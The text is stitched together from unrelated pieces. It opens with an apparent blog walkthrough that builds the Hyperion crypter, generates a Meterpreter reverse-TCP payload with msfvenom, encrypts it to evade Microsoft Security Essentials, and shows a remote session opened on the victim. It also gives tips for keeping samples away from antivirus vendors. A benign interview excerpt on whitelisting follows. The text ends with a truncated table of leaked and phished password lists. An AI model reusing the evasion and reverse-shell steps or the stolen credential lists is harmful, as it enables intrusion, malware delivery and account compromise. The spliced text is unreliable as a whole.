root@bt:~# wget http://nullsecurity.net/tools/binary/Hyperion-1.0.zip root@bt:~# unzip Hyperion-1.0.zip root@bt:~# cd Hyperion-1.0 root@bt:~/Hyperion-1.0# wine /root/.wine/drive_c/MinGW/bin/g++.exe ./Src/Crypter/*.cpp -o crypter.exe root@bt:~/Hyperion-1.0# ls -l *.exe -rwxr-xr-x 1 root root 580396 2012-07-29 16:05 crypter.exe
root@bt:~/Hyperion-1.0# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=443 -f exe >payload.exe root@bt:~/Hyperion-1.0# ls -l *.exe -rwxr-xr-x 1 root root 580396 2012-07-29 16:05 crypter.exe -rw-r--r-- 1 root root 73802 2012-07-29 16:13 payload.exe
root@bt:~/Hyperion-1.0# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=443 -f exe >payload.exe root@bt:~/Hyperion-1.0# ls -l *.exe -rwxr-xr-x 1 root root 580396 2012-07-29 16:05 crypter.exe -rw-r--r-- 1 root root 73802 2012-07-29 16:13 payload.exeBefore we encrypt our payload, let’s see if Microsoft Security Essentials (MSE) detects anything.As you can see, MSE detected our payload as “Trojan:Win32/Swrort.A”. That’s no good, but that’s what Hyperion is supposed to help us get around. So, let’s try encrypting our payload.root@bt:~/Hyperion-1.0# wine crypter.exe payload.exe encrypted_payload.exe Opening payload.exe Copied file to memory: 0x115818 Found valid MZ signature Found pointer to PE Header: 0xe8 Found valid PE signature Found a PE32 file Number of Data Directories: 16 Image Base: 0x400000 Found Section: .text VSize: 0xa966, VAddress: 0x1000, RawSize: 0xb000, RawAddress: 0x1000 Found Section: .rdata VSize: 0xfe6, VAddress: 0xc000, RawSize: 0x1000, RawAddress: 0xc000 Found Section: .data VSize: 0x705c, VAddress: 0xd000, RawSize: 0x4000, RawAddress: 0xd000 Found Section: .rsrc VSize: 0x7c8, VAddress: 0x15000, RawSize: 0x1000, RawAddress: 0x11000 Input file size + Checksum: 0x1204e Rounded up to a multiple of key size: 0x12050 Generated Checksum: 0x5e921e Generated Encryption Key: 0x2 0x3 0x0 0x3 0x0 0x3 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 Written encrypted input file as fasm array to: -> Src\FasmContainer32\infile.asm Written input file's image base to: -> Src\FasmContainer32\imagebase.asm Written input file's image size to: -> Src\FasmContainer32\sizeofimage.asm Written keysize to: -> Src\FasmContainer32\keysize.inc Starting FASM with the following parameters: Commandline: Fasm\FASM.EXE Src\FasmContainer32\main.asm encrypted_payload.exe FASM Working Directory: Z:\root\Hyperion-1.0 Executing fasm.exe root@bt:~/Hyperion-1.0# flat assembler version 1.69.31 (1310719 kilobytes memory) 5 passes, 0.5 seconds, 92672 bytes. root@bt:~/Hyperion-1.0# ls -l *.exe -rwxr-xr-x 1 root root 580396 2012-07-29 16:05 crypter.exe -rwxr-xr-x 1 root root 92672 2012-08-02 16:53 encrypted_payload.exe -rw-r--r-- 1 root root 73802 2012-07-29 16:13 payload.exeAnd if we copy our encrypted payload to our Windows host…Ah, nothing to see here :-) Let’s see if it works.msf exploit(handler) > [*] Sending stage (752128 bytes) to 192.168.10.129 [*] Meterpreter session 1 opened (192.168.10.128:443 -> 192.168.10.129:1047) at 2012-08-02 17:17:53 -0400 msf exploit(handler) > sessions Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 meterpreter x86/win32 VULNXP\Administrator @ VULNXP 192.168.10.128:443 -> 192.168.10.129:1047 (192.168.10.129)Oh, you know that’s right!You’ll notice that I didn’t upload this to VirusTotal to see how many anti-virus vendors detect our payload as malicious. It’s pretty well known now that this is one place anti-virus vendors go to find new payloads that they need to create signatures for detection. So, your best option for testing custom payloads is to simply install the version of anti-virus that you are trying to bypass.Also, as rel1k stated in his presentation, the stub used to encapsulate the payload is static, so anti-virus vendors could easily create a signature for these payloads. He suggests modifying the source so that it is polymorphic. Alas, I have no idea how to do that right now, so maybe we will cover that in later post. Happy Crypting!Comments are closed.
MARK: Well, the bigger trends, I think we're right in the middle of the third disruption in the computer industry, the first one being the mainframes, the second one being client-server, and this one being cloud and mobile. So that's one that's affecting everybody and the way that everybody thinks about software, from enterprise developers to ISDs to consumers. But underneath that, as far as security goes, I think that what we're seeing - and I've been a proponent of this form of security, the security technique, the security mechanism since shortly after 2000, when I started to really focus on what my software company, Winternals at the time, could do from a security perspective, and that is whitelisting. Back then whitelisting was something that nobody used. Windows and UNIX had some whitelisting capabilities, but very, very few people used it. And that's been the case up until very recently. And people I don't think are really aware of this, but now whitelisting has become one of the key security features of the modern client platforms. When you look at iOS, for example, Apple's ecosystem, it's a complete whitelisted ecosystem. The whitelist, you can only run the software on the phones that have been approved by Apple and curated by Apple. Apple is essentially creating their whitelist in their Apple store. And that has made those platforms - Android's got one. It's not as well curated, so we've seen a problem with that. And then Windows Phone's got a curated whitelist, as well, and Windows 8 does, too, that those whitelists, you see the dramatic impact on the security of the system by having that whitelisting in place. Even if there is - and the sandboxing that goes with the whitelisting, as well. So I think I feel somewhat vindicated because I've always believed whitelisting would come back and become one of the primary tools in a cybersecurity posture or platform. And we're seeing that with the cloud platforms really adopting it and seeing the dramatic effects of that being in place.
| Name | Compressed | Uncompressed | Date | Notes |
| Rockyou | rockyou.txt.bz2 (60,498,886 bytes) | n/a | 2009-12 | Best list available; huge, stolen unencrypted |
| Rockyou with count | rockyou-withcount.txt.bz2 (59,500,255 bytes) | n/a | ||
| phpbb | phpbb.txt.bz2 (868,606 bytes) | n/a | 2009-01 | Ordered by commonness Cracked from md5 by Brandon Enright (97%+ coverage) |
| phpbb with count | phpbb-withcount.txt.bz2 (872,867 bytes) | n/a | ||
| phpbb with md5 | phpbb-withmd5.txt.bz2 (4,117,887 bytes) | n/a | ||
| MySpace | myspace.txt.bz2 (175,970 bytes) | n/a | 2006-10 | Captured via phishing |
| MySpace - with count | myspace-withcount.txt.bz2 (179,929 bytes) | n/a | ||
| Hotmail | hotmail.txt.bz2 (47,195 bytes) | n/a | Unknown | Isn't clearly understood how these were stolen |
| Hotmail with count | hotmail-withcount.txt.bz2 (47,975 bytes) | n/a | ||
| Faithwriters | faithwriters.txt.bz2 (39,327 bytes) | n/a | 2009-03 | Religious passwords |
| Faithwriters - with count | faithwriters-withcount.txt.bz2 (40,233 bytes) | n/a | ||
| Elitehacker | elitehacker.txt.bz2 (3,690 bytes) | n/a | 2009-07 | Part of zf05.txt |
| Elitehacker - with count | elitehacker-withcount.txt.bz2 (3,846 bytes) | n/a | ||
| Hak5 | hak5.txt.bz2 (16,490 bytes) | n/a | 2009-07 | Part of zf05.txt |
| Hak5 - with count | hak5-withcount.txt.bz2 (16,947 bytes) | n/a | ||
| Älypää | alypaa.txt.bz2 (5,178 bytes) | n/a | 2010-03 | Finnish passwords |
| alypaa - with count | alypaa-withcount.txt.bz2 (6,013 bytes) | n/a | ||
| Facebook (Pastebay) | facebook-pastebay.txt.bz2 (375 bytes) | n/a | 2010-04 | Found on Pastebay; appear to be malware-stolen. |
| Facebook (Pastebay) - w/ count | facebook-pastebay-withcount.txt.bz2 (407 bytes) | n/a | ||
| Unknown porn site | porn-unknown.txt.bz2 (30,600 bytes) | n/a | 2010-08 | Found on angelfire.com. No clue where they originated, but clearly porn site. |
| Unknown porn site - w/ count | porn-unknown-withcount.txt.bz2 (31,899 bytes) | n/a | ||
| Ultimate Strip Club List | tuscl.txt.bz2 (176,291 bytes) | n/a | 2010-09 | Thanks to Mark Baggett for finding! |
| Ultimate Strip Club List - w/ count | tuscl-withcount.txt.bz2 (182,441 bytes) | n/a | ||
| [Facebook Phished] | facebook-phished.txt.bz2 (14,457 bytes) | n/a | 2010-09 | Thanks to Andrew Orr for reporting |
| Facebook Phished - w/ count | facebook-phished-withcount.txt.bz2 (14,941 bytes) | n/a | ||
| Carders.cc | carders.cc.txt.bz2 (8,936 bytes) | n/a | 2010-05 | |
| Carders.cc - w/ count | carders.cc-withcount.txt.bz2 (9,774 bytes) | n/a | ||
| Singles.org | singles.org.txt.bz2 (50,697 bytes) | n/a | 2010-10 | |
| Singles.org - w/ count | singles.org-withcount.txt.bz2 (52,884 bytes) | n/a | ||
| Unnamed financial site | (reserved) | (reserved) | 2010-12 | |
| Unnamed financial site - w/ count | (reserved) | (reserved) | ||
| Gawker | (reserved) | (reserved) | 2010-12 | |
| Gawker - w/ count | (reserved) | (reserved) | ||
| Free-Hack.com | (reserved) | (reserved) | 2010-12 | |
| Free-Hack.com w/count | (reserved) | (reserved) | ||
| Carders.cc (second time hacked) | (reserved) | (reserved) | 2010-12 | |
| Carders.cc w/count (second time hacked) | (reserved |
